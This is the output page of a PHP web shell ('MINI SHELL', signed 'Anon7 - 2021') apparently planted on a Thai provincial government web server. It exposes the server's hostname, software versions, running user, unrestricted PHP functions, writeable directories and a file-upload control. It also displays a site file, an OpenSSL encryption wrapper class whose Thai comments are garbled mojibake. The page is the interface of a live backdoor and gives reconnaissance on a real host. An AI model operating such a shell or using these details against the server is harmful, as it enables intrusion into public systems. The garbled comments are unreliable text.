MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/common/CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/common/CA/class.encodessl.php
<?php


/*
  Class: EncodeSSL
  Description:
  ¡ÒÃà¢éÒÃËÑÊ
  1.Ṻä¿Åì
  2.private key
  3.has Ṻä¿Åì  +private key= texentcode
  4.Êè§   Ṻä¿Åì ¡Ñº  textcode
 ¡ÒöʹÃËÑÊ
  1.ä¿ÅìṺ
  2.textcode
  3.textcode-public key=textdecode
  4.hascode à·Õº¡Ñº   has ä¿ÅìṺ 
*/

class EncodeSSL extends OpenSSL{
    function Encode($text="",$private_File=""){ //à¢éÒÃËÑÊ 
      $this->load_privatekey($private_File);                   
      $this->encrypt_private($text); 
      return base64_encode($this->get_crypt());       
    }
    function Decode($crypt="",$public_File=""){ //¶Í´ÃËÑÊ 
       $this->load_certificate($public_File);   
       $this->decrypt_public(base64_decode($crypt)); 
       return $this->get_plain() ;
    }
    function Check_Certificate($text){  //µÃǨÊͺ
         return ($this->get_plain()==$text) ;
         
    }
}

?> 

Anon7 - 2021